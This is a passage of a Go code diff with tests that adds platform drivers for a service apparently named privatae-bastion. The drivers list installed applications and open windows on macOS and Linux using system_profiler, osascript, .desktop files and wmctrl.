||||
if !computerObserveSupported {
|
||||
rep.Reason = "no inventory enumerator for this platform"
|
||||
return rep
|
||||
}
|
||||
apps, err := listInstalledApps()
|
||||
if err != nil {
|
||||
rep.Reason = err.Error()
|
||||
return rep
|
||||
}
|
||||
rep.Supported = true
|
||||
rep.Apps = finishApps(apps)
|
||||
return rep
|
||||
}
|
||||
|
||||
func computerWindowsReport() computerReport {
|
||||
rep := computerReport{Platform: runtime.GOOS, Scan: computerWindowsKind,
|
||||
ScannedAt: time.Now().UTC().Format(time.RFC3339)}
|
||||
if !computerObserveSupported {
|
||||
rep.Reason = "no window enumerator for this platform"
|
||||
return rep
|
||||
}
|
||||
wins, err := listWindows()
|
||||
if err != nil {
|
||||
rep.Reason = err.Error()
|
||||
return rep
|
||||
}
|
||||
rep.Supported = true
|
||||
if wins == nil {
|
||||
wins = []computerWindow{}
|
||||
}
|
||||
rep.Windows = wins
|
||||
return rep
|
||||
}
|
||||
|
||||
// The handlers answer with the JSON report on stdout and exit 0 — an
|
||||
// unsupported box is a true answer ("I cannot see"), not a refusal (126 is
|
||||
// reserved for "not permitted"). Caller args are ignored: there are none.
|
||||
func handleComputerInventory(ws *websocket.Conn, _ string, _ []string) {
|
||||
writeComputerReport(ws, computerInventoryReport())
|
||||
}
|
||||
|
||||
func handleComputerWindows(ws *websocket.Conn, _ string, _ []string) {
|
||||
writeComputerReport(ws, computerWindowsReport())
|
||||
}
|
||||
|
||||
func writeComputerReport(ws *websocket.Conn, rep computerReport) {
|
||||
b, err := json.Marshal(rep)
|
||||
if err != nil {
|
||||
sendMgmt(ws, 'R', []byte("report: "+err.Error()+"\n"))
|
||||
sendMgmtExit(ws, 1)
|
||||
return
|
||||
}
|
||||
sendMgmt(ws, 'O', append(b, '\n'))
|
||||
sendMgmtExit(ws, 0)
|
||||
}
|
||||
|
||||
// runFixed runs a fixed argv with the op's timeout and returns stdout. Used by
|
||||
// the drivers that lean on an OS tool; the argv never carries caller input.
|
||||
// On failure the *exec.ExitError carries stderr (Output() folds it in); the
|
||||
// drivers read it from there, never from err.Error(), which says only
|
||||
// "exit status N".
|
||||
func runFixed(name string, args ...string) ([]byte, error) {
|
||||
return runFixedEnv(nil, name, args...)
|
||||
}
|
||||
|
||||
// runFixedEnv is runFixed with extra environment entries (DISPLAY=:0 for a
|
||||
// service that has no display of its own).
|
||||
func runFixedEnv(extraEnv []string, name string, args ...string) ([]byte, error) {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), computerCmdTimeout)
|
||||
defer cancel()
|
||||
cmd := exec.CommandContext(ctx, name, args...)
|
||||
hideConsole(cmd) // the Windows UIAutomation helper is PowerShell — console_windows.go
|
||||
if len(extraEnv) > 0 {
|
||||
cmd.Env = append(os.Environ(), extraEnv...)
|
||||
}
|
||||
return cmd.Output()
|
||||
}
|
||||
@@ -0,0 +1,153 @@
|
||||
//go:build darwin
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"os/exec"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// macOS drivers for computer:*.
|
||||
//
|
||||
// Inventory: `system_profiler SPApplicationsDataType -json` — one fixed call,
|
||||
// the same list the "About This Mac → Applications" report shows, with name,
|
||||
// version, path and the signing identity (the publisher). Shelling out once
|
||||
// beats reading a few hundred Info.plist files, half of them binary plists.
|
||||
//
|
||||
// Windows: one osascript against System Events listing every window of every
|
||||
// foreground process with its pid and whether the process is frontmost. Two
|
||||
// permissions can refuse it, and macOS names them by error code on stderr:
|
||||
// -1743 is AUTOMATION (privatae-bastion may not send Apple Events to System
|
||||
// Events), -25211 / "assistive access" is ACCESSIBILITY. The report names the
|
||||
// pane that fixes the code seen, in the user's terms.
|
||||
|
||||
const (
|
||||
computerObserveSupported = true
|
||||
computerInventoryKind = "system_profiler"
|
||||
computerWindowsKind = "osascript+system-events"
|
||||
)
|
||||
|
||||
func listInstalledApps() ([]computerApp, error) {
|
||||
out, err := runFixed("system_profiler", "SPApplicationsDataType", "-json")
|
||||
if err != nil {
|
||||
return nil, errors.New("system_profiler failed: " + execFailure(err))
|
||||
}
|
||||
return parseSystemProfiler(out)
|
||||
}
|
||||
|
||||
// parseSystemProfiler reads the JSON report. Apps under /System are Apple's
|
||||
// own and skipped: the map is what the user installed and can be asked to
|
||||
// open, not the OS. Signing identity "Developer ID Application: X (TEAM)"
|
||||
// becomes publisher X.
|
||||
func parseSystemProfiler(raw []byte) ([]computerApp, error) {
|
||||
var doc struct {
|
||||
Apps []struct {
|
||||
Name string `json:"_name"`
|
||||
Version string `json:"version"`
|
||||
Path string `json:"path"`
|
||||
Obtained string `json:"obtained_from"`
|
||||
SignedBy []string `json:"signed_by"`
|
||||
} `json:"SPApplicationsDataType"`
|
||||
}
|
||||
if err := json.Unmarshal(raw, &doc); err != nil {
|
||||
return nil, errors.New("system_profiler output unreadable: " + err.Error())
|
||||
}
|
||||
var apps []computerApp
|
||||
for _, a := range doc.Apps {
|
||||
if strings.HasPrefix(a.Path, "/System/") || a.Obtained == "apple" {
|
||||
continue
|
||||
}
|
||||
apps = append(apps, computerApp{Name: a.Name, Version: a.Version, Path: a.Path,
|
||||
Publisher: publisherFromSigner(a.SignedBy), Source: "applications"})
|
||||
}
|
||||
return apps, nil
|
||||
}
|
||||
|
||||
func publisherFromSigner(signed []string) string {
|
||||
for _, s := range signed {
|
||||
s = strings.TrimSpace(s)
|
||||
if i := strings.Index(s, ":"); i >= 0 {
|
||||
s = strings.TrimSpace(s[i+1:])
|
||||
}
|
||||
if i := strings.LastIndex(s, " ("); i > 0 {
|
||||
s = s[:i]
|
||||
}
|
||||
if s != "" && !strings.HasPrefix(s, "Apple") {
|
||||
return s
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// One script, one process spawn. Columns are tab-separated per line:
|
||||
// pid \t process name \t frontmost \t window title. An untitled window's
|
||||
// name is `missing value`, which cannot be concatenated — it becomes "".
|
||||
const windowsScript = `tell application "System Events"
|
||||
set out to ""
|
||||
repeat with p in (every process whose background only is false)
|
||||
set pn to name of p
|
||||
set fm to frontmost of p
|
||||
set pi to unix id of p
|
||||
repeat with w in (every window of p)
|
||||
set wn to name of w
|
||||
if wn is missing value then set wn to ""
|
||||
set out to out & pi & tab & pn & tab & fm & tab & wn & linefeed
|
||||
end repeat
|
||||
end repeat
|
||||
return out
|
||||
end tell`
|
||||
|
||||
func listWindows() ([]computerWindow, error) {
|
||||
out, err := runFixed("osascript", "-e", windowsScript)
|
||||
if err != nil {
|
||||
return nil, errors.New(osascriptReason(execFailure(err)))
|
||||
}
|
||||
return parseSystemEventsWindows(string(out)), nil
|
||||
}
|
||||
|
||||
// execFailure is the text a failed exec.Cmd.Output() actually left behind:
|
||||
// its stderr, when there is one, else the exit status. Output() folds stderr
|
||||
// into *exec.ExitError.Stderr and (*ExitError).Error() says only "exit status
|
||||
// 1" — reading err.Error() alone loses the reason.
|
||||
func execFailure(err error) string {
|
||||
var ee *exec.ExitError
|
||||
if errors.As(err, &ee) && len(ee.Stderr) > 0 {
|
||||
return strings.TrimSpace(string(ee.Stderr))
|
||||
}
|
||||
return err.Error()
|
||||
}
|
||||
|
||||
// osascriptReason turns the stderr macOS wrote into the pane the user opens.
|
||||
func osascriptReason(stderr string) string {
|
||||
low := strings.ToLower(stderr)
|
||||
switch {
|
||||
case strings.Contains(stderr, "-1743"):
|
||||
return "macOS Automation permission not granted: allow privatae-bastion to control " +
|
||||
"System Events (System Settings → Privacy & Security → Automation) — the screen cannot be read"
|
||||
case strings.Contains(stderr, "-25211"), strings.Contains(low, "assistive"):
|
||||
return "macOS Accessibility permission not granted to privatae-bastion " +
|
||||
"(System Settings → Privacy & Security → Accessibility) — the screen cannot be read"
|
||||
}
|
||||
return "osascript failed: " + stderr
|
||||
}
|
||||
|
||||
func parseSystemEventsWindows(text string) []computerWindow {
|
||||
var wins []computerWindow
|
||||
for _, line := range strings.Split(text, "\n") {
|
||||
f := strings.SplitN(line, "\t", 4)
|
||||
if len(f) < 4 {
|
||||
continue
|
||||
}
|
||||
title := strings.TrimSpace(f[3])
|
||||
if title == "" {
|
||||
continue
|
||||
}
|
||||
pid, _ := strconv.Atoi(strings.TrimSpace(f[0]))
|
||||
wins = append(wins, computerWindow{Title: title, PID: pid, App: strings.TrimSpace(f[1]),
|
||||
Focused: strings.TrimSpace(f[2]) == "true"})
|
||||
}
|
||||
return wins
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
//go:build darwin
|
||||
|
||||
package main
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestParseSystemProfiler(t *testing.T) {
|
||||
raw := []byte(`{"SPApplicationsDataType":[
|
||||
{"_name":"Autodesk Fusion 360","version":"2.0.19","path":"/Users/u/Applications/Autodesk Fusion 360.app",
|
||||
"obtained_from":"identified_developer","signed_by":["Developer ID Application: Autodesk, Inc. (XYZ123)","Apple Root CA"]},
|
||||
{"_name":"Safari","version":"18.0","path":"/System/Applications/Safari.app","obtained_from":"apple"},
|
||||
{"_name":"Blender","version":"4.2","path":"/Applications/Blender.app","obtained_from":"identified_developer"}]}`)
|
||||
apps, err := parseSystemProfiler(raw)
|
||||
if err != nil || len(apps) != 2 {
|
||||
t.Fatalf("two non-Apple apps: %v %+v", err, apps)
|
||||
}
|
||||
if apps[0].Publisher != "Autodesk, Inc." || apps[0].Version != "2.0.19" || apps[0].Source != "applications" {
|
||||
t.Fatalf("fusion: %+v", apps[0])
|
||||
}
|
||||
if apps[1].Publisher != "" {
|
||||
t.Fatalf("no signer → no publisher: %+v", apps[1])
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseSystemEventsWindows(t *testing.T) {
|
||||
out := "4242\tFusion 360\ttrue\tflowerpot v3\n" +
|
||||
"77\tFinder\tfalse\tDocuments\n" +
|
||||
"77\tFinder\tfalse\t\n" + // untitled window skipped
|
||||
"bad line\n"
|
||||
wins := parseSystemEventsWindows(out)
|
||||
if len(wins) != 2 || !wins[0].Focused || wins[0].PID != 4242 || wins[0].App != "Fusion 360" {
|
||||
t.Fatalf("%+v", wins)
|
||||
}
|
||||
if wins[1].Focused || wins[1].Title != "Documents" {
|
||||
t.Fatalf("%+v", wins[1])
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,278 @@
|
||||
//go:build linux
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"errors"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Linux drivers for computer:*.
|
||||
//
|
||||
// Inventory reads freedesktop .desktop entries — the same files the app menu
|
||||
// reads, so "installed" means "the user can launch it", which is the map the
|
||||
// host wants. Flatpak and snap export theirs into the same format. A .desktop
|
||||
// file carries no application version (its `Version=` key is the spec
|
||||
// version of the file itself), so Version stays empty rather than invented.
|
||||
//
|
||||
// The bastion runs as a system service (deploy/install.sh), so its own
|
||||
// environment has no DISPLAY and its HOME is /root while the person's desktop
|
||||
// lives under /home/<user>. Both drivers look where the person is: per-user
|
||||
// application dirs under every home, and the X socket in /tmp/.X11-unix when
|
||||
// DISPLAY is unset. What cannot be reached is reported as the reason.
|
||||
//
|
||||
// Windows: wmctrl -lp (X11, incl. XWayland) — a fixed argv, parsed here.
|
||||
// `xprop -root _NET_ACTIVE_WINDOW` names the focused one.
|
||||
|
||||
const (
|
||||
computerObserveSupported = true
|
||||
computerInventoryKind = "desktop-entries"
|
||||
computerWindowsKind = "wmctrl"
|
||||
)
|
||||
|
||||
var desktopDirs = []string{
|
||||
"/usr/share/applications",
|
||||
"/usr/local/share/applications",
|
||||
"/var/lib/flatpak/exports/share/applications",
|
||||
"/var/lib/snapd/desktop/applications",
|
||||
}
|
||||
|
||||
// userHomes is every home a person could have installed an app into: the
|
||||
// service's own, plus /home/*. Reading a home that is not ours fails on
|
||||
// permissions and is simply skipped.
|
||||
func userHomes() []string {
|
||||
var homes []string
|
||||
if h, err := os.UserHomeDir(); err == nil && h != "" {
|
||||
homes = append(homes, h)
|
||||
}
|
||||
if entries, err := os.ReadDir("/home"); err == nil {
|
||||
for _, e := range entries {
|
||||
if e.IsDir() {
|
||||
homes = append(homes, filepath.Join("/home", e.Name()))
|
||||
}
|
||||
}
|
||||
}
|
||||
return dedupeStrings(homes)
|
||||
}
|
||||
|
||||
func listInstalledApps() ([]computerApp, error) {
|
||||
dirs := append([]string{}, desktopDirs...)
|
||||
for _, home := range userHomes() {
|
||||
dirs = append(dirs,
|
||||
filepath.Join(home, ".local/share/applications"),
|
||||
filepath.Join(home, ".local/share/flatpak/exports/share/applications"))
|
||||
}
|
||||
var apps []computerApp
|
||||
found := false
|
||||
for _, d := range dirs {
|
||||
entries, err := os.ReadDir(d)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
found = true
|
||||
for _, e := range entries {
|
||||
if e.IsDir() || !strings.HasSuffix(e.Name(), ".desktop") {
|
||||
continue
|
||||
}
|
||||
raw, err := os.ReadFile(filepath.Join(d, e.Name()))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if a, ok := parseDesktopEntry(string(raw), d); ok {
|
||||
apps = append(apps, a)
|
||||
}
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
return nil, errors.New("no applications directory found (not a desktop install?)")
|
||||
}
|
||||
return apps, nil
|
||||
}
|
||||
|
||||
// parseDesktopEntry reads the [Desktop Entry] group: Type=Application only,
|
||||
// NoDisplay/Hidden skipped (menu conventions), Exec's program as the path
|
||||
// with the %-field codes stripped. dir tells flatpak/snap from a plain install.
|
||||
func parseDesktopEntry(text, dir string) (computerApp, bool) {
|
||||
a := computerApp{Source: "desktop"}
|
||||
if strings.Contains(dir, "flatpak") {
|
||||
a.Source = "flatpak"
|
||||
} else if strings.Contains(dir, "snap") {
|
||||
a.Source = "snap"
|
||||
}
|
||||
inMain := false
|
||||
typ := ""
|
||||
sc := bufio.NewScanner(strings.NewReader(text))
|
||||
for sc.Scan() {
|
||||
line := strings.TrimSpace(sc.Text())
|
||||
if line == "" || strings.HasPrefix(line, "#") {
|
||||
continue
|
||||
}
|
||||
if strings.HasPrefix(line, "[") {
|
||||
inMain = line == "[Desktop Entry]"
|
||||
continue
|
||||
}
|
||||
if !inMain {
|
||||
continue
|
||||
}
|
||||
k, v, ok := strings.Cut(line, "=")
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
k, v = strings.TrimSpace(k), strings.TrimSpace(v)
|
||||
switch k {
|
||||
case "Type":
|
||||
typ = v
|
||||
case "Name":
|
||||
if a.Name == "" {
|
||||
a.Name = v
|
||||
}
|
||||
case "Exec":
|
||||
a.Path = execProgram(v)
|
||||
case "NoDisplay", "Hidden":
|
||||
if strings.EqualFold(v, "true") {
|
||||
return computerApp{}, false
|
||||
}
|
||||
}
|
||||
}
|
||||
if typ != "Application" || a.Name == "" {
|
||||
return computerApp{}, false
|
||||
}
|
||||
return a, true
|
||||
}
|
||||
|
||||
// execProgram is the program of an Exec= line: the first token, unquoted, with
|
||||
// an `env VAR=x` prefix skipped, and the field codes (%f %u …) never included.
|
||||
// A flatpak export (`flatpak run <app-id> …`) names the APP, "flatpak:<id>",
|
||||
// not the flatpak binary — otherwise every flatpak would earn a cli rung for
|
||||
// a program the user never runs by hand.
|
||||
func execProgram(v string) string {
|
||||
fields := strings.Fields(v)
|
||||
for i, raw := range fields {
|
||||
f := strings.Trim(raw, `"`)
|
||||
if f == "env" || strings.Contains(f, "=") {
|
||||
continue
|
||||
}
|
||||
if filepath.Base(f) == "flatpak" {
|
||||
for _, arg := range fields[i+1:] {
|
||||
arg = strings.Trim(arg, `"`)
|
||||
if arg == "run" || strings.HasPrefix(arg, "-") || strings.Contains(arg, "=") {
|
||||
continue
|
||||
}
|
||||
return "flatpak:" + arg
|
||||
}
|
||||
return "flatpak:"
|
||||
}
|
||||
return f
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// x11Display is the display the person is on: DISPLAY when the service has
|
||||
// one, else the first socket in /tmp/.X11-unix (":0" for X0). "" when neither.
|
||||
func x11Display() string {
|
||||
if d := os.Getenv("DISPLAY"); d != "" {
|
||||
return d
|
||||
}
|
||||
entries, err := os.ReadDir("/tmp/.X11-unix")
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
for _, e := range entries {
|
||||
if n, ok := strings.CutPrefix(e.Name(), "X"); ok && n != "" {
|
||||
return ":" + n
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func listWindows() ([]computerWindow, error) {
|
||||
display := x11Display()
|
||||
if display == "" {
|
||||
return nil, errors.New("no X display on this machine — headless, or Wayland without XWayland; no window list")
|
||||
}
|
||||
if !execOnPath("wmctrl") {
|
||||
return nil, errors.New("wmctrl not installed — install it (apt/dnf: wmctrl) to list windows")
|
||||
}
|
||||
out, err := runFixedEnv([]string{"DISPLAY=" + display}, "wmctrl", "-lp")
|
||||
if err != nil {
|
||||
var ee *exec.ExitError
|
||||
if errors.As(err, &ee) && len(ee.Stderr) > 0 {
|
||||
return nil, errors.New("wmctrl could not read display " + display + " (the bastion runs as a " +
|
||||
"service without the desktop session's X authority): " + strings.TrimSpace(string(ee.Stderr)))
|
||||
}
|
||||
return nil, errors.New("wmctrl failed: " + err.Error())
|
||||
}
|
||||
active := ""
|
||||
if execOnPath("xprop") {
|
||||
if x, err := runFixedEnv([]string{"DISPLAY=" + display}, "xprop", "-root", "_NET_ACTIVE_WINDOW"); err == nil {
|
||||
active = parseActiveWindow(string(x))
|
||||
}
|
||||
}
|
||||
wins := parseWmctrl(string(out), active)
|
||||
for i := range wins {
|
||||
if wins[i].PID > 0 {
|
||||
if comm, err := os.ReadFile("/proc/" + strconv.Itoa(wins[i].PID) + "/comm"); err == nil {
|
||||
wins[i].App = strings.TrimSpace(string(comm))
|
||||
}
|
||||
}
|
||||
}
|
||||
return wins, nil
|
||||
}
|
||||
|
||||
// wmctrl -lp: id, desktop, pid, client host, then the title — which keeps
|
||||
// its own spacing (a recorded step may match it byte for byte).
|
||||
var wmctrlLine = regexp.MustCompile(`^(\S+)\s+(\S+)\s+(\S+)\s+(\S+)(?:\s(.*))?$`)
|
||||
|
||||
// parseWmctrl reads `wmctrl -lp` lines:
|
||||
//
|
||||
// 0x03400003 0 12345 hostname Window title with spaces
|
||||
//
|
||||
// Sticky windows carry desktop -1. activeID (from xprop) marks the focused
|
||||
// one; ids compare numerically so 0x3400003 and 0x03400003 are the same.
|
||||
func parseWmctrl(text, activeID string) []computerWindow {
|
||||
var wins []computerWindow
|
||||
act := hexID(activeID)
|
||||
for _, line := range strings.Split(text, "\n") {
|
||||
m := wmctrlLine.FindStringSubmatch(strings.TrimRight(line, "\r"))
|
||||
if m == nil {
|
||||
continue
|
||||
}
|
||||
title := m[5]
|
||||
if strings.TrimSpace(title) == "" {
|
||||
continue
|
||||
}
|
||||
pid, _ := strconv.Atoi(m[3])
|
||||
w := computerWindow{Title: title, PID: pid}
|
||||
if act != 0 && hexID(m[1]) == act {
|
||||
w.Focused = true
|
||||
}
|
||||
wins = append(wins, w)
|
||||
}
|
||||
return wins
|
||||
}
|
||||
|
||||
// parseActiveWindow reads `_NET_ACTIVE_WINDOW(WINDOW): window id # 0x3400003`.
|
||||
func parseActiveWindow(text string) string {
|
||||
if i := strings.LastIndex(text, "#"); i >= 0 {
|
||||
return strings.TrimSpace(text[i+1:])
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func hexID(s string) uint64 {
|
||||
s = strings.TrimPrefix(strings.TrimSpace(strings.ToLower(s)), "0x")
|
||||
if s == "" {
|
||||
return 0
|
||||
}
|
||||
v, err := strconv.ParseUint(s, 16, 64)
|
||||
if err != nil {
|
||||
return 0
|
||||
}
|
||||
return v
|
||||
}
|
||||
@@ -0,0 +1,75 @@
|
||||
//go:build linux
|
||||
|
||||
package main
|
||||
|
||||
import "testing"
|
||||
|
||||
const blenderDesktop = `[Desktop Entry]
|
||||
Name=Blender
|
||||
GenericName=3D modeler
|
||||
Comment=3D modeling, animation, rendering and post-production
|
||||
Keywords=3d;cg;modeling;
|
||||
Exec=blender %f
|
||||
Icon=blender
|
||||
Terminal=false
|
||||
Type=Application
|
||||
Version=1.0
|
||||
Categories=Graphics;3DGraphics;
|
||||
MimeType=application/x-blender;
|
||||
[Desktop Action Foo]
|
||||
Name=Not the app name
|
||||
`
|
||||
|
||||
func TestParseDesktopEntry(t *testing.T) {
|
||||
a, ok := parseDesktopEntry(blenderDesktop, "/usr/share/applications")
|
||||
if !ok || a.Name != "Blender" || a.Path != "blender" || a.Source != "desktop" {
|
||||
t.Fatalf("blender: ok=%v %+v", ok, a)
|
||||
}
|
||||
// Version= in a .desktop file is the SPEC version of the file (htop.desktop
|
||||
// says 1.0 while htop is 3.4.1) — it must never be reported as the app's.
|
||||
if a.Version != "" {
|
||||
t.Fatalf("desktop-entry Version must not become the app version: %q", a.Version)
|
||||
}
|
||||
// the [Desktop Action] group's Name must not overwrite the entry's
|
||||
if a.Name != "Blender" {
|
||||
t.Fatalf("name from the main group only: %q", a.Name)
|
||||
}
|
||||
if _, ok := parseDesktopEntry("[Desktop Entry]\nType=Link\nName=x\n", "d"); ok {
|
||||
t.Fatal("only Type=Application is an app")
|
||||
}
|
||||
if _, ok := parseDesktopEntry("[Desktop Entry]\nType=Application\nName=x\nNoDisplay=true\n", "d"); ok {
|
||||
t.Fatal("NoDisplay entries are not launchable apps")
|
||||
}
|
||||
fp, _ := parseDesktopEntry("[Desktop Entry]\nType=Application\nName=Obsidian\nExec=env FOO=1 \"/usr/bin/flatpak\" run --branch=stable --arch=x86_64 md.obsidian.Obsidian %u\n",
|
||||
"/var/lib/flatpak/exports/share/applications")
|
||||
if fp.Source != "flatpak" || fp.Path != "flatpak:md.obsidian.Obsidian" {
|
||||
t.Fatalf("a flatpak's program is the app id, not the flatpak binary: %+v", fp)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseWmctrl(t *testing.T) {
|
||||
out := "0x03400003 0 12345 box Terminal — bash\n" +
|
||||
"0x0480000a -1 0 box Desktop\n" +
|
||||
"0x05000007 1 777 box Fusion 360 - flowerpot.f3d\n" + // two spaces, kept
|
||||
"garbage line\n"
|
||||
wins := parseWmctrl(out, parseActiveWindow("_NET_ACTIVE_WINDOW(WINDOW): window id # 0x5000007"))
|
||||
if len(wins) != 3 {
|
||||
t.Fatalf("three windows: %+v", wins)
|
||||
}
|
||||
if wins[0].Title != "Terminal — bash" || wins[0].PID != 12345 || wins[0].Focused {
|
||||
t.Fatalf("first: %+v", wins[0])
|
||||
}
|
||||
if !wins[2].Focused || wins[2].PID != 777 || wins[2].Title != "Fusion 360 - flowerpot.f3d" {
|
||||
t.Fatalf("the active id (short hex) must match the padded id, and spacing is kept: %+v", wins[2])
|
||||
}
|
||||
if wins[1].PID != 0 || wins[1].Title != "Desktop" {
|
||||
t.Fatalf("sticky window with no pid: %+v", wins[1])
|
||||
}
|
||||
}
|
||||
|
||||
func TestX11DisplayPrefersEnv(t *testing.T) {
|
||||
t.Setenv("DISPLAY", ":7")
|
||||
if d := x11Display(); d != ":7" {
|
||||
t.Fatalf("DISPLAY wins: %q", d)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
//go:build !linux && !darwin && !windows
|
||||
|
||||
package main
|
||||
|
||||
// computer:* stub for platforms with no enumerator. The ops still answer — with
|
||||
// supported:false and a reason — so the host reads "this box cannot see its
|
||||
// apps/windows" and never an empty list that would pass for "nothing here".
|
||||
|
||||
const (
|
||||
computerObserveSupported = false
|
||||
computerInventoryKind = "unsupported"
|
||||
computerWindowsKind = "unsupported"
|
||||
)
|
||||
|
||||
func listInstalledApps() ([]computerApp, error) { return nil, nil }
|
||||
func listWindows() ([]computerWindow, error) { return nil, nil }
|
||||
@@ -0,0 +1,156 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// The judgement is platform-neutral and table-driven, so every platform's
|
||||
// answer is testable from one CI by passing goos explicitly.
|
||||
func TestWaysInDeepestFirst(t *testing.T) {
|
||||
got := waysIn("Autodesk Fusion 360", `C:\Users\u\AppData\Local\Autodesk\webdeploy\Fusion360.exe`, "windows", false)
|
||||
if len(got) < 2 || !strings.HasPrefix(got[0], "script:python") || got[len(got)-1] != wayGUI {
|
||||
t.Fatalf("Fusion 360 must lead with its Python door and end with gui: %v", got)
|
||||
}
|
||||
// per-GOOS doors: Office is COM on Windows, AppleScript on macOS, nothing special elsewhere
|
||||
if w := waysIn("Microsoft Excel", "", "windows", false); !strings.HasPrefix(w[0], "script:com") {
|
||||
t.Fatalf("Excel on Windows: %v", w)
|
||||
}
|
||||
if w := waysIn("Microsoft Excel", "", "darwin", false); !strings.HasPrefix(w[0], "script:applescript") {
|
||||
t.Fatalf("Excel on macOS: %v", w)
|
||||
}
|
||||
if w := waysIn("Microsoft Excel", "", "linux", false); len(w) != 1 || w[0] != wayGUI {
|
||||
t.Fatalf("Excel on Linux has only the gui rung: %v", w)
|
||||
}
|
||||
// the table's cli flag and the PATH probe both earn the cli rung, once
|
||||
if w := waysIn("Blender", "/usr/bin/blender", "linux", true); countOf(w, wayCLI) != 1 || w[0] != "script:python (bpy)" {
|
||||
t.Fatalf("Blender: %v", w)
|
||||
}
|
||||
if w := waysIn("Some Tool", "/usr/bin/sometool", "linux", true); len(w) != 2 || w[0] != wayCLI || w[1] != wayGUI {
|
||||
t.Fatalf("an unknown program on PATH is cli then gui: %v", w)
|
||||
}
|
||||
// an unknown app that is not on PATH has exactly the gui rung — never an invented door
|
||||
if w := waysIn("Mystery App", "", "linux", false); len(w) != 1 || w[0] != wayGUI {
|
||||
t.Fatalf("unknown app: %v", w)
|
||||
}
|
||||
// the exe basename matches too (Office names its binaries, not its products)
|
||||
if w := waysIn("Word", `C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE`, "windows", false); !strings.HasPrefix(w[0], "script:com") {
|
||||
t.Fatalf("winword.exe: %v", w)
|
||||
}
|
||||
// siblings are not the app: an updater, a runtime, a theme earn nothing
|
||||
for _, sib := range []string{"Microsoft Edge WebView2 Runtime", "Microsoft Edge Update", "MATLAB Runtime R2024b", "Cursor Theme Pack"} {
|
||||
if w := waysIn(sib, "", "windows", false); len(w) != 1 || w[0] != wayGUI {
|
||||
t.Fatalf("%s must earn only gui: %v", sib, w)
|
||||
}
|
||||
}
|
||||
if w := waysIn("Microsoft Edge", "", "windows", false); !strings.HasPrefix(w[0], "script:chrome-devtools") {
|
||||
t.Fatalf("the real Edge keeps its door: %v", w)
|
||||
}
|
||||
// the new Outlook has no COM object model — no door is asserted
|
||||
if w := waysIn("Microsoft Outlook", "", "windows", false); len(w) != 1 || w[0] != wayGUI {
|
||||
t.Fatalf("Outlook: %v", w)
|
||||
}
|
||||
// a flatpak's program is the app id, never the flatpak binary — no cli from PATH
|
||||
if w := waysIn("Obsidian", "flatpak:md.obsidian.Obsidian", "linux", execOnPath("flatpak:md.obsidian.Obsidian")); countOf(w, wayCLI) != 0 {
|
||||
t.Fatalf("flatpak must not earn cli: %v", w)
|
||||
}
|
||||
}
|
||||
|
||||
func countOf(xs []string, s string) int {
|
||||
n := 0
|
||||
for _, x := range xs {
|
||||
if x == s {
|
||||
n++
|
||||
}
|
||||
}
|
||||
return n
|
||||
}
|
||||
|
||||
func TestFinishAppsDedupesAndSorts(t *testing.T) {
|
||||
apps := finishApps([]computerApp{
|
||||
{Name: "zed", Source: "desktop"},
|
||||
{Name: "Blender", Source: "desktop", Path: "/nonexistent/blender"},
|
||||
{Name: "blender", Source: "flatpak"}, // duplicate by name, first fact wins
|
||||
{Name: " ", Source: "desktop"}, // no name → dropped
|
||||
})
|
||||
if len(apps) != 2 || apps[0].Name != "Blender" || apps[1].Name != "zed" {
|
||||
t.Fatalf("dedupe+sort: %+v", apps)
|
||||
}
|
||||
if apps[0].Source != "desktop" {
|
||||
t.Fatalf("first fact wins on a duplicate: %+v", apps[0])
|
||||
}
|
||||
if len(apps[0].WaysIn) == 0 || apps[0].WaysIn[len(apps[0].WaysIn)-1] != wayGUI {
|
||||
t.Fatalf("ways_in filled for every app: %+v", apps[0])
|
||||
}
|
||||
}
|
||||
|
||||
// The wire shape both ops answer with, and the honesty rule: unsupported is a
|
||||
// true answer with a reason, never an empty list.
|
||||
func TestComputerReportShape(t *testing.T) {
|
||||
rep := computerReport{Platform: "plan9", Scan: "unsupported", Reason: "no enumerator"}
|
||||
b, err := json.Marshal(rep)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var back map[string]any
|
||||
if err := json.Unmarshal(b, &back); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if back["supported"] != false || back["reason"] != "no enumerator" {
|
||||
t.Fatalf("unsupported must carry supported:false + reason: %s", b)
|
||||
}
|
||||
if _, ok := back["apps"]; ok {
|
||||
t.Fatalf("an unsupported report must not carry an apps list at all: %s", b)
|
||||
}
|
||||
}
|
||||
|
||||
// Both ops are in the ONE handler table, so the enforcing report's vocabulary
|
||||
// carries them (mgmtOpVocabulary reads handlerOps) and a grant can name them.
|
||||
func TestComputerOpsInVocabulary(t *testing.T) {
|
||||
vocab := mgmtOpVocabulary()
|
||||
for _, op := range []string{"computer:inventory", "computer:windows"} {
|
||||
found := false
|
||||
for _, v := range vocab {
|
||||
if v == op {
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatalf("%s missing from the enforcing vocabulary: %v", op, vocab)
|
||||
}
|
